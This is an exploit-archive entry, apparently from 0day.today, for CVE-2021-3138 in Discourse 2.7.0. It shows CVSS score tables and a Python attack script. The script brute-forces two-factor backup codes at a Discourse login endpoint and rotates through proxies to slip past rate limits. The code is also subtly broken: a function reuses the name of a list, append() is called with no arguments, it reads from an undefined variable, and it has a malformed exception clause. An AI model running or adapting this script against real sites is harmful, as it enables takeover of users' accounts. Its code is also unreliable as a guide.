Lucene search

K
zdtZdt1337DAY-ID-36129
HistoryApr 21, 2021 - 12:00 a.m.

Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass Exploit

2021-04-2100:00:00
0day.today
14

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

# Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass
# Exploit Author: Mesh3l_911
# Vendor Homepage: https://www.discourse.org/
# Software Link:https://github.com/discourse/discourse
# Version: Discourse 2.7.0
# CVE: CVE-2021-3138

import requests

username = input("\n input ur username : ")
password = input("\n input ur password : ")
session=requests.session()

proxies = []
def proxies():
    proxies_path = input("\n input ur proxies path : ")

    with open(proxies_path, 'r') as prox:
        for _ in prox.read().splitlines():
            proxies.append()

backup_codes = []
def backup_list():
    Backup_codes = input("\n input ur Backup_codes list path : ")

    with open(Backup_codes, 'r') as codes:
        for _ in codes.read().splitlines():
            backup_codes.append()

def exploit():
    with open('Backup_codes.txt', 'w') as results:
        try:
            for __ in proxies:
                for _ in codes.read().splitlines():
                    header =\
                    {
                        "X-CSRF-Token": "ur X-CSRF-Token",
                        "Cookie": "ur Cookie",
                        "X-Requested-With": "XMLHttpRequest"
                    }
                    body = {"login": username, "password": password, "second_factor_token": _, "second_factor_method": "2"}
                    request = session.post("ur target_url", headers=header, data=body, proxies={'http': __, 'https':__})
                    source = request.text
                    backup_codes.remove(_)

                    if request.status_code == 200:
                        if '"id"' in source:
                            results.write("The Backup_Coude is > {} ".format(_))
                            return True
                        else:
                            pass
                    else:
                        proxies.remove(__)
                        break


        except requests.exceptions.SSLError and requests.exceptions.ConnectionError:
            print(" Connection Failed :( ")

        results.close()


def main():
    if exploit():
        print("\n Found :) \n")
    else:
        print("\n Please re-check ur inputs :( \n")
if __name__ == '__main__':
    main()

#  0day.today [2021-10-25]  #

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N